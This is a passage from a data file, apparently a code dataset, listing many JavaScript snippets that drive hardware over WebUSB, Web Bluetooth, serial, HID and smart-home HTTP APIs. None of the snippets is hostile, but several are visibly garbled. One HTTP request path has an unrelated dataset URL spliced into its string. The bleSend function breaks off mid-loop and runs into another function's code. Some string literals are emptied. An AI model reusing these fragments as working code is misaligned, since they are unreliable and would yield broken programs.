this.knownDevices[deviceId].description = payload;\n callback && callback(null, deviceId, payload, this.knownDevices[deviceId].ip);\n callback = null;\n });\n req.on('error', (error) => {\n // console.log(error);\n this.emit('error', error);\n });\n req.end();\n }\n catch (e) {\n if (retryTimeout) clearTimeout(retryTimeout);\n callback && callback(e);\n callback = null;\n }\n }","buildModemInterface() {\n return new Promise((resolve, reject) => {\n this.log(`starting modem interface on port ${this.uri} @ ${this.baud_rate}`);\n let serial_port = new SerialPort(this.uri, {\n baudRate: this.baud_rate\n });\n serial_port.on('open', () => {\n resolve(serial_port);\n });\n serial_port.on('error', (err) => {\n reject(err);\n });\n serial_port.on('data', (data) => {\n // buffer the received data\n this.response_buffer += data.toString();\n // check if the response code exists in our buffered data\n this.response_codes.forEach((code) => {\n if (this.response_buffer.toUpperCase().indexOf(code) > -1) {\n this.handleModemResponse({\n data: this.response_buffer.replace(code, '').trim(), \n code: code\n });\n this.response_buffer = '';\n }\n })\n });\n return serial_port;\n });\n }","function send(data) {\n\n if(MODE == MODES.TEST) {\n ws.send(data);\n } else if(MODE == MODES.BLUETOOH) {\n\n var data = new Uint8Array(1);\n data[0] = data;\n\n ble.write(id, serviceId, serviceName, data.buffer, function() {\n console.log(\"ble -> sendSucess\");\n }, function(err) {\n console.log(\"ble -> sendFailure : \" + JSON.stringify(err));\n });\n\n }\n\n}","sendMakeBetShan2(_chipbet) {\n cc.NGWlog(\"Vua dat cuoc =\" + _chipbet);\n var data = {\n evt: \"bm\",\n M: _chipbet\n };\n this.sendDataGame(JSON.stringify(data));\n }","async function requestBlockchainInfo() {\n return instance\n .get(\"/tuichain/get_info/\")\n .then((response) => {\n return response.data;\n })\n .catch((error) => {\n console.log(error);\n return false;\n });\n}","async function main(){\n\nvar password=\"pengshu\";\n\nvar oneBranchAccount=await web3.eth.personal.newAccount(password);\nconsole.log(\"one branch\",oneBranchAccount);\n\n\nlet unlock;\n\ntry{\n unlock=await web3.eth.personal.unlockAccount(oneBranchAccount,password);}\ncatch(e){}\n console.log(\"one branch unlock\",unlock);\n \n\nvar message=\"I am the flash\";\nlet signature;\ntry{\n signature=await web3.eth.sign(message,oneBranchAccount);\n}catch(e){}\nconsole.log(\"signature one branch:\",signature);\n\nlet verfication;\ntry {\n verification= await web3.eth.personal.ecRecover(message,signature);\n}catch(e){console.log(e);}\nconsole.log(verfication);\n}","function expressGETBuffer(){\r\n GenerateRandom(currentBuffer);\r\n app.get('/api/buffer',(req,res) =>{\r\n res.json({\r\n arduino: currentBufferArduino,\r\n dummy: currentBuffer\r\n });\r\n });\r\n //console.log(\"2a. GET to Server\");\r\n}"],"string":"[\n \"async function RequestUSBDevice() { \\n await navigator.usb.requestDevice({ filters: [{}] });\\n}\",\n \"async getRequestDeviceInfo() {\\n const outputReportID = 0x01;\\n const subcommand = [0x02];\\n const data = [\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n ...subcommand,\\n ];\\n await this.device.sendReport(outputReportID, new Uint8Array(data));\\n\\n return new Promise((resolve) => {\\n const onDeviceInfo = ({ detail: deviceInfo }) => {\\n this.removeEventListener('deviceinfo', onDeviceInfo);\\n delete deviceInfo._raw;\\n delete deviceInfo._hex;\\n resolve(deviceInfo);\\n };\\n this.addEventListener('deviceinfo', onDeviceInfo);\\n });\\n }\",\n \"function readRHUSB() {\\n port.write(\\\"PA\\\\r\\\\n\\\");\\n}\",\n \"function bluetooth(){\\n\\n if (!navigator.bluetooth) {\\n return alert('Web Bluetooth API is not available in this browser. Please use chrome.');\\n }\\n const z = document.getElementById('debugger');\\n const y = document.getElementById('serial')\\n\\n if (z.style.display ===\\\"none\\\"){\\n z.style.display = \\\"block\\\";\\n }else{\\n }\\n \\n z.innerHTML= z.innerHTML + \\\"\\\\n\\\"+ ('Requesting Bluetooth Devices');\\n navigator.bluetooth.requestDevice({\\n filters:[{\\n name: 'MicroTrynkit',\\n }],\\n optionalServices: [service]\\n })\\n .then(device=>{\\n z.innerHTML = z.innerHTML + \\\"\\\\n\\\"+ (\\\"Connected to: \\\");\\n z.innerHTML= z.innerHTML +\\\"\\\\n\\\"+ (\\\">Name:\\\" + device.name);\\n z.innerHTML= z.innerHTML + \\\"\\\\n\\\"+ (\\\">id:\\\" + device.id);\\n isConnected = 1;\\n bledevice = device;\\n return device.gatt.connect();\\n })\\n .then(server=>{\\n bleserver = server;\\n return server.getPrimaryService(service);\\n })\\n .then(service => {\\n return service.getCharacteristic(RX_char)\\n .then(characteristic => {\\n console.log(characteristic);\\n RX_characteristic = characteristic;\\n return service.getCharacteristic(TX_char);\\n })\\n })\\n .then(characteristic => {\\n console.log(characteristic);\\n TX_characteristic = characteristic;\\n /* add an event listener to the TX characteristic */\\n TX_characteristic.addEventListener('valueUpdate', handleValueUpdated);\\n console.log(TX_characteristic.readValue());\\n })\\n .then( value =>{\\n /* try to read from the device and print to console */\\n // y.innerText = value.getUint8(0);\\n // console.log(value.getUint8(0));\\n })\\n .catch(error=> {\\n z.innerHTML= z.innerHTML + \\\"\\\\n\\\"+ (error);\\n });\\n}\",\n \"requestUsb() {\\n return new Observable(observer => {\\n navigator.usb.requestDevice({ filters: [] })\\n .then((result) => {\\n this.vendorId = result.vendorId;\\n this.productId = result.productId;\\n return observer.next(result);\\n }).catch(error => {\\n return observer.error(error);\\n });\\n });\\n }\",\n \"async function uBitOpenDevice(device, callback) {\\n const transport = new DAPjs.WebUSB(device)\\n const target = new DAPjs.DAPLink(transport)\\n let buffer=\\\"\\\" // Buffer of accumulated messages\\n const parser = /([^.:]*)\\\\.*([^:]+|):(.*)/ // Parser to identify time-series format (graph:info or graph.series:info)\\n \\n target.on(DAPjs.DAPLink.EVENT_SERIAL_DATA, data => {\\n buffer += data;\\n let firstNewline = buffer.indexOf(\\\"\\\\n\\\")\\n while(firstNewline>=0) {\\n let messageToNewline = buffer.slice(0,firstNewline)\\n let now = new Date() \\n // Deal with line\\n // If it's a graph/series format, break it into parts\\n let parseResult = parser.exec(messageToNewline)\\n if(parseResult) {\\n let graph = parseResult[1]\\n let series = parseResult[2]\\n let data = parseResult[3]\\n let callbackType = \\\"graph-event\\\"\\n // If data is numeric, it's a data message and should be sent as numbers\\n if(!isNaN(data)) {\\n callbackType = \\\"graph-data\\\"\\n data = parseFloat(data)\\n }\\n // Build and send the bundle\\n let dataBundle = {\\n time: now,\\n graph: graph, \\n series: series, \\n data: data\\n }\\n callback(callbackType, device, dataBundle)\\n } else {\\n // Not a graph format. Send it as a console bundle\\n let dataBundle = {time: now, data: messageToNewline}\\n callback(\\\"console\\\", device, dataBundle)\\n }\\n buffer = buffer.slice(firstNewline+1) // Advance to after newline\\n firstNewline = buffer.indexOf(\\\"\\\\n\\\") // See if there's more data\\n }\\n });\\n await target.connect();\\n await target.setSerialBaudrate(115200)\\n //await target.disconnect();\\n device.target = target; // Store the target in the device object (needed for write)\\n device.callback = callback // Store the callback for the device\\n callback(\\\"connected\\\", device, null) \\n target.startSerialRead()\\n return Promise.resolve()\\n}\",\n \"async request() {\\n let options = {\\n filters: [\\n {\\n name: \\\"balenaBLE\\\"\\n }\\n ],\\n optionalServices: [0xfff0, 0xfff1]\\n };\\n if (navigator.bluetooth == undefined) {\\n alert(\\\"Sorry, Your device does not support Web BLE!\\\");\\n return;\\n }\\n this.device = await navigator.bluetooth.requestDevice(options);\\n if (!this.device) {\\n throw \\\"No device selected\\\";\\n }\\n this.device.addEventListener(\\\"gattserverdisconnected\\\", this.onDisconnected);\\n }\",\n \"async function SendBlyncUSB30ControlCommand(deviceInfo, byRedValue, byGreenValue, byBlueValue, byLightControl, byMusicControl_1, byMusicControl_2) {\\n\\n try {\\n var device = deviceInfo.device;\\n\\n await device.open();\\n //await device.reset();\\n\\n if (device.configuration === null) {\\n await device.selectConfiguration(1);\\n }\\n\\n\\t\\tawait device.claimInterface(0);\\n\\t\\t\\n abyBlyncUsb30ReportBuffer[0] = byRedValue;\\n abyBlyncUsb30ReportBuffer[1] = byBlueValue;\\n abyBlyncUsb30ReportBuffer[2] = byGreenValue;\\n abyBlyncUsb30ReportBuffer[3] = byLightControl;\\n abyBlyncUsb30ReportBuffer[4] = byMusicControl_1;\\n abyBlyncUsb30ReportBuffer[5] = byMusicControl_2;\\n abyBlyncUsb30ReportBuffer[6] = 0xFF;\\n abyBlyncUsb30ReportBuffer[7] = 0x22;\\n\\n var result = await device.controlTransferOut( \\n {\\n requestType: 'class',\\n recipient: 'interface',\\n request: 0x09,\\n value: 0x0200,\\n index: 0x0000\\n },\\n abyBlyncUsb30ReportBuffer);\\n\\n await device.close();\\n } catch (e) {\\n console.log(\\\"Exception: \\\" + e);\\n }\\n}\",\n \"respondToArduino(command){\\n BluetoothSerial.write(command)\\n .then((res) => {\\n console.log(res, command)\\n })\\n .catch((err) => console.log(err.message))\\n }\",\n \"function bleConsole(value){\\n const y = document.getElementById('serial')\\n /* check if the device is connected if true send file*/\\n if(isConnected){\\n /* need to read the value of the TX_char\\n * may need some kind of loop or trigger to watch if new data comes in????\\n * not sure what I want to implement for this yet....\\n */\\n // y.innerText = TX_characteristic.readValue(); TODO does not work\\n }else{\\n const x = document.getElementById('console');\\n x.style.display =\\\"none\\\";\\n alert(\\\"MicroTrynkit device not connected. Please pair it first.\\\");\\n }\\n\\n}\",\n \"enumerate_devices() {\\n const filters = {filters: [\\n {vendorId: 0x16D0}\\n ]};\\n\\n if (!this.usb) {\\n this.log(\\\"error: WebUSB not supported\\\\n\\\", \\\"red\\\");\\n return;\\n }\\n\\n this.usb.requestDevice(filters)\\n .then(dev => this.connect_device(dev))\\n .catch(error => {\\n if (String(error) === \\\"SecurityError: Must be handling a user gesture to show a permission request.\\\") {\\n this.log(\\\"Please click 'Connect Device' on the left toolbar.\\\", \\\"black\\\");\\n } else if (String(error) === \\\"NotFoundError: No device selected.\\\") {\\n this.log(\\\"Please select a WebUSB device.\\\", \\\"red\\\");\\n } else {\\n this.log(String(error));\\n this.log(\\\"error: unable to enumerate USB device list\\\");\\n }\\n });\\n }\",\n \"async function findUSBDevice(event) {\\n // STEP 1A: Auto-Select first port\\n if (event.type == 'AutoConnect' || event.type == 'Reconnect') {\\n // ports = await getPorts()\\n //STEP 1A: GetPorts - Automatic at initialization\\n // -Enumerate all attached devices\\n // -Check for permission based on vendorID & productID\\n devices = await navigator.usb.getDevices();\\n ports = devices.map((device) => new serial.Port(device)); //return port\\n\\n if (ports.length == 0) {\\n port.statustext_connect =\\n 'NO USB DEVICE automatically found on page load';\\n console.log(port.statustext_connect);\\n } else {\\n var statustext = '';\\n if (event.type == 'AutoConnect') {\\n statustext = 'AUTO-CONNECTED USB DEVICE ON PAGE LOAD!';\\n } else if (event.type == 'Reconnect') {\\n statustext = 'RECONNECTED USB DEVICE!';\\n }\\n port = ports[0];\\n try {\\n await port.connect();\\n } catch (error) {\\n console.log(error);\\n }\\n port.statustext_connect = statustext;\\n console.log(port.statustext_connect);\\n\\n //Hide manual connect button upon successful connect\\n document.querySelector('button[id=connectusb]').style.display = 'none';\\n }\\n }\\n\\n // STEP 1B: User connects to Port\\n if (\\n event.type == 'pointerup' ||\\n event.type == 'touchend' ||\\n event.type == 'mouseup'\\n ) {\\n event.preventDefault(); //prevents additional downstream call of click listener\\n try {\\n //STEP 1B: RequestPorts - User based\\n // -Get device list based on Arduino filter\\n // -Look for user activation to select device\\n const filters = [\\n { vendorId: 0x2341, productId: 0x8036 },\\n { vendorId: 0x2341, productId: 0x8037 },\\n { vendorId: 0x2341, productId: 0x804d },\\n { vendorId: 0x2341, productId: 0x804e },\\n { vendorId: 0x2341, productId: 0x804f },\\n { vendorId: 0x2341, productId: 0x8050 },\\n ];\\n\\n device = await navigator.usb.requestDevice({ filters: filters });\\n port = new serial.Port(device); //return port\\n\\n await port.connect();\\n\\n port.statustext_connect = 'USB DEVICE CONNECTED BY USER ACTION!';\\n console.log(port.statustext_connect);\\n\\n //Hide manual connect button upon successful connect\\n document.querySelector('button[id=connectusb]').style.display = 'none';\\n } catch (error) {\\n console.log(error);\\n }\\n waitforClick.next(1);\\n }\\n} //FUNCTION findUSBDevice\",\n \"function connectviaBT() {\\r\\n\\t// initialize bluetooth and setup an event listener\\r\\n\\t//todo: refactor name mWebSocket_InitAsync\\r\\n\\tdocument.getElementById( \\\"idStatus\\\").innerHTML=\\\"Connecting via BT\\\";\\r\\n\\t//returns data from BT as Uint8Array [1..20]\\r\\n\\t//Todo: write what this does in a comment is this the Ternary Operator? (variable = (condition) ? expressionTrue : expressionFalse)\\r\\n\\treturn (bluetoothDeviceDetected ? Promise.resolve() : getDeviceInfo() && isWebBluetoothEnabled())\\r\\n\\t.then(connectGATT) //todo:@FC please explain what is happening here\\r\\n\\t.then(_ => {\\r\\n\\t\\tconsole.log('Evaluating signal of interest...')\\r\\n\\t\\treturn gattCharacteristic.readValue()\\t//receiving data from BT - Uint8Array [1..20]\\r\\n\\t})\\r\\n\\t.catch(error => {\\r\\n\\t\\tconsole.log('Waiting to start reading: ' + error)\\r\\n\\t})\\r\\n}\",\n \"function getdevice (dev, callback)\\n{\\n if (typeof (webphone_api.plhandler) !== 'undefined' && webphone_api.plhandler !== null)\\n {\\n if (typeof (dev) === 'undefined' || dev === null || dev.length < 1) dev = '-13';\\n webphone_api.plhandler.GetDevice(dev, callback);\\n }\\n}\",\n \"function controlHSDevice(device,action,value,cbfunc){\\n var options = {\\n hostname: hsserver,\\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/viewer/default/ + action + "&id=' + device + '&value=' + value,\\n port: hsport,\\n headers: {\\n 'Authorization': auth\\n }\\n };\\n\\n http.get(options, function(response) {\\n var body = '';\\n response.on('data', function(d) {body += d;});\\n response.on('end', function() {cbfunc(JSON.parse(body));});\\n\\t response.on(\\\"error\\\",function(e){console.log(\\\"Got error: \\\" + e.message); });\\n }); \\n}\",\n \"function controlHSDevice(device,action,value,cbfunc){\\n var options = {\\n hostname: hsserver,\\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/viewer/default/ + action + "&id=' + device + '&value=' + value,\\n port: hsport,\\n headers: {\\n 'Authorization': auth\\n }\\n };\\n\\n http.get(options, function(response) {\\n var body = '';\\n response.on('data', function(d) {body += d;});\\n response.on('end', function() {cbfunc(JSON.parse(body));});\\n\\t response.on(\\\"error\\\",function(e){log(\\\"Got error: \\\" + e.message); });\\n }); \\n}\",\n \"function getWeMoData() {\\n var wemoHeaders = { \\n \\\"Content-Type\\\": \\\"application/json\\\", \\n \\\"SOAPACTION\\\": \\\"urn:Belkin:service:basicevent:1#GetBinaryState\\\",\\n };\\n var wemoState = '>' + \\n '' +\\n \\\"\\\" + \\n '' + \\n \\\"1 \\\" + \\n \\\" \\\" + \\n \\\" \\\" + \\n \\\" \\\"\\n var wemoOptions =\\n {\\n \\\"method\\\" : \\\"post\\\",\\n \\\"headers\\\" : wemoHeaders,\\n \\\"muteHttpExceptions\\\": true,\\n \\\"payload\\\" : wemoState,\\n };\\n\\n var ddnsDevices = [ \\\"WemoXmas\\\", \\\"WemoGazebo\\\" ];\\n props.setProperty( \\\"weNum\\\", ddnsDevices.length ); \\n \\n for (var i = 0; i < ddnsDevices.length; i++) {\\n var response = UrlFetchApp.fetch(getSecureVal(ddnsDevices[i], \\\"URL\\\") + \\\"/upnp/control/basicevent1\\\").getContentText();\\n Logger.log(response);\\n var wemoJson = JSON.parse(response);\\n state = wemoJSON.BinaryState;\\n props.setProperties( \\\"we\\\" + String(i), state ); \\n /* send to ATT M2X*/\\n var streams = [ \\\"we0\\\", \\\"we1\\\", \\\"we2\\\", \\\"we3\\\" ];\\n sendDataATT(ddnsDevices[i], streams);\\n logProps(streams);\\n }\\n \\n}\",\n \"async send_cmd(cmd, options={}) {\\n const data = options.data;\\n const textDecode = (options.textDecode !== undefined ? !!options.textDecode : true);\\n const sleepOverride = (parseInt(options.sleepOverride) || 10);\\n const cmdIndex = (parseInt(options.cmdIndex) || 0);\\n\\n if (!this.device || !this.device.opened) {\\n this.log(\\\"error: device not connected.\\\\n\\\", \\\"red\\\");\\n this.log(\\\"Use button to connect to a supported programmer.\\\\n\\\", \\\"red\\\");\\n return Promise.reject(\\\"error: device not opened\\\");\\n }\\n\\n const opts = {\\n requestType: \\\"vendor\\\",\\n recipient: \\\"device\\\",\\n request: 250,\\n value: this.CMD_LUT[cmd],\\n index: cmdIndex\\n };\\n\\n // transfer data out\\n const res = data\\n ? await this.device.controlTransferOut(opts, data)\\n : await this.device.controlTransferOut(opts);\\n\\n // sleep for a bit to give the USB device some processing time leeway\\n await (() => new Promise(resolve => setTimeout(resolve, sleepOverride)))();\\n\\n return this.device.controlTransferIn({\\n requestType: \\\"vendor\\\",\\n recipient: \\\"device\\\",\\n request: 249,\\n value: 0x70,\\n index: 0x81\\n }, 64).then(result => {\\n return textDecode\\n ? (new TextDecoder()).decode(result.data)\\n : result.data.buffer;\\n });\\n }\",\n \"async function requestBLEDevice(){\\n let result = Promise.resolve()\\n if (ble.connected == false){\\n console.log('Requesting ble device...')\\n wdm('Requesting bluetooth device list')\\n // let options = {filters: [ {name: ble.name}, {services:[ ble.customserviceUUID ]} ]}\\n let options = {filters: [ {namePrefix: ble.namePrefix}, {services:[ ble.customserviceUUID ]} ]}\\n\\n try{\\n device = await navigator.bluetooth.requestDevice(options)\\n console.log(\\\"found a device\\\",device)\\n console.log(device.name)\\n console.log(device.uuids)\\n var textstr = \\\"found a device name: \\\" + device.name + \\\"
\\\" + \\\"id: \\\" + device.id\\n ble.statustext = textstr\\n \\n ble.device=device\\n ble.device.addEventListener('gattserverdisconnected',onDisconnectedBLE)\\n }\\n catch(error){\\n if (ble.connected == false){\\n var textstr = 'Still waiting for user to select device'\\n console.log(textstr)\\n ble.statustext = ble.statustext + \\\"
\\\" + textstr\\n \\n return error\\n }\\n }\\n }\\n return result\\n}\",\n \"getHardware (cb) {\\n\\t\\tvar self = this\\n\\n\\t\\tif (!this.started)\\n\\t\\t{\\n\\t\\t\\treturn cb('Connection to MD-DM not started')\\n\\t\\t}\\n\\n\\t\\tif (!this.device.connected)\\n\\t\\t{\\n\\t\\t\\treturn cb('Not currently connected to MD-DM')\\n\\t\\t}\\n\\n\\t\\tthis._connection.exec('SHOWHW', function (err, response) {\\n\\t\\t\\tself._logger.verbose(`SHOWHW response: ${response}`)\\n\\n\\t\\t\\ttry\\n\\t\\t\\t{\\n\\t\\t\\t\\tcb(err, TelnetOutputParser.parseHardware(response))\\n\\t\\t\\t}\\n\\t\\t\\tcatch (e)\\n\\t\\t\\t{\\n\\t\\t\\t\\tself._logger.warn(`Failed to parse response: ${response}`)\\n\\t\\t\\t\\tcb(`Failed to parse response: ${e} / ${e.stack}`)\\n\\t\\t\\t}\\n\\t\\t})\\n\\t}\",\n \"function request(value) {\\n\\t// Init variables\\n\\tlet src;\\n\\tlet cmd;\\n\\n\\tswitch (value) {\\n\\t\\tcase 'motor-values' : {\\n\\t\\t\\tsrc = 'DIA';\\n\\t\\t\\tcmd = [ 0xB8, 0x12, 0xF1, 0x03, 0x22, 0x40, 0x00 ];\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\n\\t\\tdefault : return;\\n\\t}\\n\\n\\tbus.data.send({\\n\\t\\tsrc : src,\\n\\t\\tdst : 'DME',\\n\\t\\tmsg : cmd,\\n\\t});\\n}\",\n \"function OpenAVR(device)\\n{\\n if (device.deviceDescriptor.idVendor != kAtmel ||\\n device.deviceDescriptor.idProduct != kEVK1101)\\n {\\n return; // (not our device)\\n }\\n\\n try {\\n device.open();\\n device.interfaces[0].claim();\\n // find first unused input >= 2\\n for (var i=2; ; ++i) {\\n if (i < avrs.length && avrs[i]) continue;\\n avrs[i] = device;\\n device.avrNum = i;\\n var endIn = device.interfaces[0].endpoints[0];\\n var endOut = device.interfaces[0].endpoints[1];\\n endIn.avrNum = i;\\n endOut.avrNum = i;\\n endIn.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\\n endOut.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\\n endIn.timeout = 1000;\\n endOut.timeout = 1000;\\n // (must install handlers before we start polling)\\n endIn.on('data', HandleData);\\n endIn.on('error', HandleError);\\n endOut.on('error', HandleError);\\n endIn.startPoll(4, 256);\\n\\n // add member function to send command to AVR\\n device.SendCmd = SendCmd;\\n // send initial command to get AVR serial number and software version\\n device.SendCmd(\\\"a.ser;b.ver\\\\n\\\");\\n break;\\n }\\n }\\n catch (err) {\\n Log('Error opening AVR device');\\n }\\n}\",\n \"writeLoginControl(data) {\\n var arrData = [17,16,0,1,1,];\\n const data_send = this.toUTF8Array(data);\\n console.log('writeLoginControl_1',data_send);\\n for (var i = 0; i < data_send.length; i++) {\\n arrData.push(data_send[i]);\\n }\\n arrData[2] = arrData.length + 1;\\n arrData[arrData.length] = this.calCheckSum(arrData);\\n\\n console.log('writeLoginControl_2',arrData, this.byteToHexString(arrData));\\n\\n BleManager.writeWithoutResponse(this.props.mymac, 'fff0', 'fff5',arrData)\\n .then(() => {\\n console.log('--writeLoginControl successfully: ',arrData);\\n })\\n .catch((error) => {\\n console.log('--writeLoginControl failed ',error);\\n });\\n }\",\n \"readFromDevice() {\\n this.device.transferIn(5, 64).then(result => {\\n const decoder = new TextDecoder();\\n this.rstring += decoder.decode(result.data);\\n // do a quick JSON smoketest (should do better with decoder/streaming)\\n const startIdx = this.rstring.indexOf('{');\\n if(startIdx > 0) this.rstring = this.rstring.substring(startIdx);\\n const endIdx = this.rstring.indexOf('}');\\n if(endIdx > -1) {\\n const parseStr = this.rstring.substring(0, endIdx+1);\\n this.rstring = this.rstring.substring(endIdx+1);\\n try {\\n const msg = JSON.parse(parseStr);\\n this._handleMessage(msg);\\n // this.dispatchEvent(new CustomEvent('ek-event', {detail:msg}), {bubbles: true});\\n } catch(e) {\\n console.log(\\\"NOT JSON:\\\",parseStr);\\n }\\n this.rstring = \\\"\\\";\\n }\\n this.readFromDevice();\\n })\\n .catch(error => { \\n console.log(error);\\n this.emitMessage(this.device.serialNumber, \\\"\\\");\\n this.emitDisconnected(this.device.serialNumber);\\n this.device = null;\\n this.rstring = \\\"\\\";\\n });\\n }\",\n \"async getBatteryLevel() {\\n const outputReportID = 0x01;\\n const subCommand = [0x50];\\n const data = [\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n ...subCommand,\\n ];\\n await this.device.sendReport(outputReportID, new Uint8Array(data));\\n\\n return new Promise((resolve) => {\\n const onBatteryLevel = ({ detail: batteryLevel }) => {\\n this.removeEventListener('batterylevel', onBatteryLevel);\\n delete batteryLevel._raw;\\n delete batteryLevel._hex;\\n resolve(batteryLevel);\\n };\\n this.addEventListener('batterylevel', onBatteryLevel);\\n });\\n }\",\n \"async getDeviceDetails() {\\n return this.digestClient\\n .fetch(\\n `http://${this.dahua_host}/cgi-bin/magicBox.cgi?action=getSystemInfo`\\n )\\n .then((r) => r.text())\\n .then((text) => {\\n const deviceDetails = text\\n .trim()\\n .split('\\\\n')\\n .reduce((obj, str) => {\\n const [key, val] = str.split('=');\\n obj[key] = val.trim();\\n return obj;\\n }, {});\\n return deviceDetails;\\n });\\n }\",\n \"async function readComms() {\\n await transferByte(0x99);\\n let readLen = await transferByte(0x00);\\n if (readLen) {\\n let rxBuff = Buffer.alloc(readLen, 0, 'binary');\\n for(let ri = 0; ri < readLen; ri++) {\\n let rx = await transferByte(0x00);\\n rxBuff[ri] = rx;\\n }\\n return rxBuff;\\n }\\n return null;\\n}\",\n \"get_card_id_ex() {\\n return new Promise((resolve, reject) => {\\n\\n let on_frame = (frame) => {\\n // remove_listener();//remove to resever for next time \\n switch (frame.type) {\\n case CODE.ERR_HEADER: /* No card */\\n\\n let err_code = frame.buffer[1];\\n if (err_code == CODE.NO_CARD) {\\n resolve({ is_available: false, uid_len: 0, uid: '' });\\n } else {\\n reject(frame);\\n }\\n break;\\n case CODE.RESPONSE_HEADER:/*have card */\\n let uid_len = frame.buffer[5];\\n let resp = {\\n is_available: true\\n };\\n if (this.buffer.length >= (CODE.PACKET_LENGTH + uid_len)) {\\n let uid_buffer = new Buffer.alloc(uid_len);\\n frame.buffer.copy(uid_buffer, 0, 7, 7 + uid_len);\\n resp.uid_len = uid_len;\\n resp.uid = util.to_hex_string(uid_buffer);\\n resolve(resp);\\n }\\n else {\\n reject('invalid resp');\\n }\\n break;\\n default:\\n reject('invalid resp');\\n break;\\n }\\n };\\n this.once('frame', on_frame);//onetime fire\\n\\n //GET_CARD_ID_EX (0x2C) : Use this function for cards with UID longer than 4 byte\\n this.send_command(\\\"55 2C AA 00 00 00 DA\\\");\\n });\\n }\",\n \"function bleSend() {\\n /* check if the device is connected if true send file*/\\n let encoder = new TextEncoder('utf-8');\\n\\n if(isConnected){\\n /* send an erase command so that the file gets started fresh */\\n RX_characteristic.writeValue(encoder.encode(\\\"erase\\\"));\\n for(let a = 0; a<3000; a++){\\n console.log(\\\"\\\")\\n }\\n /* get the contents of the editor that is in use */\\n let editorContents = editor.getValue();\\n /* send the contents to the device */\\n //split the editor contents into newlines.\\n temp = editorContents.split(/\\\\n/);\\n for(let i=0; i> (8*(1-j)));\\n }\\n */\\n //CMD\\n tx_data[0] = 0;\\n //index\\n tx_data[1] = i & 0xff;\\n\\n\\n for(var j = 0; j < 2; j = j + 1){\\n tx_data[2+j] = 0xff & ((g_rawcode_length/2) >> (8*(1-j)));\\n }\\n\\n //freq(0:38k, 1;40k)\\n tx_data[4] = 0;\\n //Format(0:unknown, 1:NEC, 2:SONY...)\\n tx_data[5] = 1;\\n\\n //Number of Frame\\n for(var j = 0; j < 2; j = j + 1){\\n tx_data[6+j] = 0xff & (g_rawcode_length >> (8*(1-j)));\\n }\\n\\n //Data0\\n for(var j = 0; j < 4; j = j + 1){\\n tx_data[8+j] = 0xff & ((g_rawcode[i*2] / g_ir_margin) >> (8*(3-j)));\\n }\\n\\n //Data1\\n for(var j = 0; j < 4; j = j + 1){\\n tx_data[12+j] = 0xff & ((g_rawcode[i*2 + 1] / g_ir_margin) >> (8*(3-j)));\\n }\\n\\n //Transmit\\n window.cmdCharacteristic.writeValue(new Uint8Array(tx_data)).catch(error => {\\n uiDebugMessage(\\\"liffWriteLoadMatrix\\\");\\n uiStatusError(makeErrorMsg(error), false);\\n });\\n }\\n }else{\\n window.cmdCharacteristic.writeValue(new Uint8Array([1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])).catch(error => {\\n uiDebugMessage(\\\"liffWriteLoadMatrix - Req\\\");\\n uiStatusError(makeErrorMsg(error), false);\\n });\\n }\\n}\",\n \"start() {\\n let constraints = {\\n video: {\\n facingMode: 'user',\\n height: { min: 360, ideal: 720, max: 1080 },\\n deviceId: localStorage.getItem('deviceId')\\n },\\n audio: true\\n };\\n\\n // navigator.mediaDevices.enumerateDevices()\\n // .then(dd=> { \\n // dd.map(device => {\\n // if (device.kind == 'videoinput' && device.label == DEVICE) {\\n // constraints.video.deviceId = device.deviceId;\\n // }\\n // })\\n // }) \\n\\n // navigator.usb.requestDevice({filters:[]})\\n // .then(selectedDevice => {\\n // device = selectedDevice;\\n // console.log('selectedDevice', device, selectedDevice);\\n // return device.open(); // Begin a session.\\n // })\\n // .then(() => {\\n // console.log('daada', device.selectConfiguration);\\n // device.selectConfiguration(1)}) // Select configuration #1 for the device.\\n // .then(() => {\\n // console.log('daada', device.claimInterface);\\n // device.claimInterface(0)}) // Request exclusive control over interface #2.\\n // .then(() => {\\n // console.log('daada', device.controlTransferOut);\\n // device.controlTransferOut({\\n // requestType: 'class',\\n // recipient: 'interface',\\n // request: 0x22,\\n // value: 0x01,\\n // index: 0x02})}) // Ready to receive data\\n // .then(() => {\\n // console.log('dedde', device);\\n // device.transferIn(5, 64)\\n // }) // Waiting for 64 bytes of data from endpoint #5.\\n // .then(result => {\\n // let decoder = new TextDecoder();\\n // console.log('decoder', decoder, result);\\n // console.log('Received: ' + decoder.decode(result.data));\\n // })\\n // .catch(error => { console.log('this.error', error); });\\n console.log('constraints', constraints)\\n\\n setTimeout(() => {\\n // constraints.video.deviceId = localStorage.getItem('deviceId');\\n navigator.mediaDevices\\n .getUserMedia(constraints)\\n .then((stream) => {\\n this.stream = stream;\\n this.emit('stream', stream);\\n })\\n .catch((err) => {\\n if (err instanceof DOMException) {\\n alert('Cannot open webcam and/or microphone');\\n } else {\\n console.log(err);\\n }\\n });\\n }, 3000)\\n\\n return this;\\n }\",\n \"function _htob (hex) {\\n if (hex) {\\n if (typeof hex !== 'string') {\\n throw new TypeError('Expected input to be a string')\\n }\\n\\n if ((hex.length % 2) !== 0) {\\n throw new RangeError('Expected string to be an even number of characters')\\n }\\n\\n var view = new Uint8Array(hex.length / 2)\\n\\n for (var i = 0; i < hex.length; i += 2) {\\n view[i / 2] = parseInt(hex.substring(i, i + 2), 16)\\n }\\n\\n return view\\n } else {\\n return null;\\n }\\n}\",\n \"async enableSimpleHIDMode() {\\n const outputReportID = 0x01;\\n const subcommand = [0x03, 0x3f];\\n const data = [\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n ...subcommand,\\n ];\\n await this.device.sendReport(outputReportID, new Uint8Array(data));\\n }\",\n \"function getDeviceCapability()\\r\\n{\\r\\n\\txrxDeviceConfigGetDeviceCapabilities( \\\"http://127.0.0.1\\\", getDeviceCapabilities_success, getDeviceCapatilities_failure, null);\\r\\n}\",\n \"getStatus() {\\n return new Promise((resolve, reject) => {\\n // 